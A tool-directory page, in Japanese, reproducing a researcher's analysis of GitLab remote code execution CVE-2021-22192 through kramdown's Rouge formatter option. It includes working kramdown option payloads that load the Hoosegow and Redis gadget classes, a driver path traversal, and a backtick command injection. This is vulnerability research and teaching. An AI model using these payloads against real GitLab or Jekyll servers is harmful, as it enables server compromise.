Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
ツール/GitHubGitHub/petrusviet/gitlab-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

リポジトリを見る
12335年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GitLabのRCE脆弱性(CVE-2021–22192)の分析

I) ビルド

  • このバグはGitLab Community Edition (CE) および Enterprise Edition (EE) のバージョン (>=13.2, <13.7.9), (>=13.8, <13.8.6) および (>=13.9, <13.9.4) で発生します。
  • lyy289065406 の手順に従って環境を構築できます。

II) 分析

このバグの分析を始めたとき、私は lyy289065406 からいくつかの貴重な情報を得て、このバグの核心を理解することができました。 どうやら gem kramdown (<= 2.3.0) 側のバグのようだったので、まずは kramdown を調べることから始めました。

1. Kramdown

kramdown の パッチ を確認すると、Kramdown::Converter::SyntaxHighlighter::Rouge モジュール内の formatter_class 関数に違いが見られます。

::Rouge::Formatters.const_get(formatter) が ::Rouge::Formatters.const_get(formatter, false) に変更されました。

const_get メソッドは Object クラスから継承され、定数を取得できます。見つけられる以前に宣言されたクラスを返すことも可能です。ここでの違いはパラメータ false が追加されたことだけです。false を追加することで、const_get は親クラスや他のモジュールの定数を取得できなくなります。 さらに注目すべき点: self.call 関数内で formatter_class を呼び出した後、new(opts) を呼び出しています。つまり、const_get で取得したメソッドのコンストラクタが呼び出されて初期化されます。

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

おお、おお。では、どうやって Exploit するのか?

Kramdown:Options に基づき、Kramdown::Converter::SyntaxHighlighter::Rouge.call を呼び出すことができます。

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

さらに、Kramdown:Options モジュール内の simple_hash_validator 関数が YAML.safe_load(val) を呼び出していることも確認できます。したがって、YML ファイルを設定して、任意のペイロードを Kramdown::Converter::SyntaxHighlighter::Rouge に渡すことも可能です。

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown は Jekyll、GitLab Pages、GitHub Pages、Thredd Forum で使用されています。そこで、最初に Jekyll で試してみることにしました。

2. Jekyll

まずは Jekyll を立ち上げる必要があります:

  • Jekyll のインストール
root@kitploit:~
gem install jekyll
  • jekyllTest という名前の Jekyll ページを作成
root@kitploit:~
jekyll new jekyllTest
  • Gemfile.lock を編集して kramdown のバージョンを 2.3.0 以下に変更
root@kitploit:~
cd jekyllTest

Gemfile.lock ファイル

root@kitploit:~

...
kramdown (2.3.0)
...

  • ページのインストール
root@kitploit:~
 bundle install

これで Jekyll ページの作成が完了しました。では、ペイロードを投入して、Kramdown::Converter::SyntaxHighlighter::Rouge.call が実際にメソッドを呼び出せるかどうかを確認します。

./_config.yml ファイルに以下を追加できます。

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

または、./_posts/*.markdown に kramdown ドキュメントを使ってペイロードを追加します。

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

ここでは2番目の方法を使います =)))))

  • Jekyll ページをデプロイ
root@kitploit:~
bundle exec jekyll serve

エラー "require': cannot load such file -- webrick (LoadError)" が発生した場合は、Gemfile に gem "webrick"` を追加してください。

  • エラーメッセージ private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: が表示されました。これは CSV クラスが呼び出されたことを示しています。

次に、コンストラクタ呼び出しで RCE を引き起こすためにどのメソッドを選ぶべきか?

CVE-2020-10518 の分析記事 によると、kramdown のバグを利用して Github 上で RCE を引き起こします。私は Hoosegow クラスをターゲットにしました:

  • Hoosegow の initialize 関数内で load_inmate_methods が呼び出されています。
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • load_inmate_methods では、require inmate_file が呼び出されています。
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • inmate_file は @inmate_dir と 'inmate.rb' を連結して作成されます。もしこのクラスを呼び出して、inmate_dir パラメータを自分のペイロードファイルへのパスに変更できれば、RCE が発生するのではないでしょうか?

  • Jekyll ページのパスで以下のスクリプトを実行し、定義されているメソッドを確認しました:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • 残念ながら、Hoosegow という名前のクラスはありませんでした。条件を ob.name == "Hoosegow" として途中でクラックを回避しても同様です。
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • 自分のクラスパスには Hoosegow クラスが宣言されていなかったため、Gemfile に gem "hoosegow" を追加して、スクリプトでこのクラスが見つかるようにしました。[へへへ]
  • 次に、Kramdown 経由で Hoosegow を呼び出してみます。
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • ドーン!何も起こりません。Hoosegow クラスは呼び出されませんでした。 =)))))))))
  • ここで1週間行き詰まりました。そう、1週間無駄にしました。バンドラーに Hoosegow クラスがあるのに、なぜ Kramdown から呼び出すと見つからないのか? 見つかるはずなのに? という疑問がぐるぐる回りました。

  • 「Gemfile に宣言してあるなら、クラスパスにそのクラスがあるはずだ。それなのにプログラムが 'Hoosegow' を見つけられないなら、まだロードされていないに違いない...」と私は考えました。では、Jekyll 起動時に source directory の他の部分を処理する前に gem をロードさせるには、どうやって gem を宣言すればいいのか?

  • Jekyll のドキュメントを読み、jekyll_plugins を見つけました。Gemfile に宣言するだけでは不十分で、jekyll_plugins グループ 内で gem を宣言する必要がありました。なぜなら、jekyll_plugins 内で宣言すると、Jekyll が他のソースを処理する前に gem が強制的に呼び出されるからです。セーフモードで実行しても同様です。

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • C:/ に inmate.rb ファイルを作成し、ペイロードを実行:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • inmate.rb ファイルが呼び出されました。これで PoC の再現にほぼ成功したようですね。

3. Gitlab

  • Gitlab には Gitlab Page 機能があり、そこで Jekyll ページをデプロイできます。そこで、前述の Jekyll ページプロジェクト形式のペイロードを Gitlab にアップロードしてデプロイしてみました。
  • 問題は、どうやって inmate.rb ファイルを Gitlab サーバーにアップロードし、アップロードした inmate.rb ファイルがどこにあるかを知るか?です。
  • これは、プロジェクトを作成して Gitlab にデプロイする権限があれば簡単です。自分のプロジェクトに inmate.rb ファイルをアップロードし、.gitlab-ci.yml ファイルを編集します。
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • これにより、自分のプロジェクトがどこに保存されているかを知ることができます。そこからペイロードを作成できます :)

なぜ .gitlab-ci.yml を編集してコマンドインジェクションができるのに、わざわざ PoC を書く必要があるのか? 自己 RCE の道を歩んでいるのではないか?

  • この疑問はすぐに浮かびました。.gitlab-ci.yml ファイルを編集した時点で、様々な説明を試みました。「.yml ファイルがロードされる前にスキャンする仕組みがあるのか?」など。しかし、納得できるものではありませんでした。
  • Gitlab が Gitlab Pages をどのようにデプロイするか調べました。新しいページをデプロイするたび、またはプロジェクトページ内のファイルを編集するたびに、Gitlab Runner サーバーがプロジェクトを静的な Web ページにレンダリングし、Gitlab Web サーバーに送信します。つまり、この攻撃経路で最大でも Runner サーバーを乗っ取ることしかできません。Runner サーバーを乗っ取ってもそれほど深刻ではなく、自己 RCE に留まります。何かがおかしい気がします。
  • 別の入力経路として wiki ページを探しました。Wiki ページは kramdown 形式をサポートしているため、そこで試してみましたが、デフォルトの *.md ファイルにペイロードを入れただけでは必要な機能が制限されており、結果が出なかったため、この経路は諦めました :(

  • ここで一旦停止し、PoC が公開されるのを待って、他の研究に時間を割くことにしました。

PoC が公開

ある晴れた日、PoC が公開されました。読んでみると、自分の中の「チキン」が猛烈に目覚めました。なんと表現すればよいのか =))。

核心となる問題は kramdown にある、というのは正しかったのですが、Gitlab でのアプローチ方法が少し甘かったようです =)

  • 著者は、wiki ページに *.rmd ファイルをアップロードすると、プログラムが render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render を呼び出すことを発見しました。つまり、*.rmd ファイルは kramdown でレンダリングされます。

  • 著者は、wiki ページをローカルにクローンし、git を使って wiki ページ(*.rmd ファイルを含む)を Gitlab にプッシュすることで、自分の .rmd ファイルをアップロードしました。

  • 著者は、Gitlab プロジェクトで既に宣言されている Redis クラス(そのため呼び出して使用可能)を利用して、自分のペイロードを実行しました。

Redis クラスを初期化する際、driver オプションが存在する場合、_parse_driver 関数が呼び出されます。この関数内で、require "connection/#{driver}" が実行されるため、driver 変数を操作して、サーバーにアップロードしたペイロードファイルを読み込ませることができます。

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • 新しく snippet を作成する機能を使い、攻撃者は「Attach a file」で Ruby のペイロードをアップロードできます。
  • このエクスプロイトでは、攻撃者はアップロードしたペイロードファイルの場所を見つける必要があります。そのため、著者は別の攻撃経路を見つけました:

Kramdown から Redis クラスを呼び出す方法を使用し、まず著者は get_process_mem gem を次のペイロードでインポートします:

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

その後、先ほどインポートした get_process_mem gem を使って RCE を実行します:

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

このように、攻撃者はペイロードファイルのアドレスを知らなくても、Gitlab サーバー上で RCE を実行できるのです。

参考文献:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
ツールをダウンロード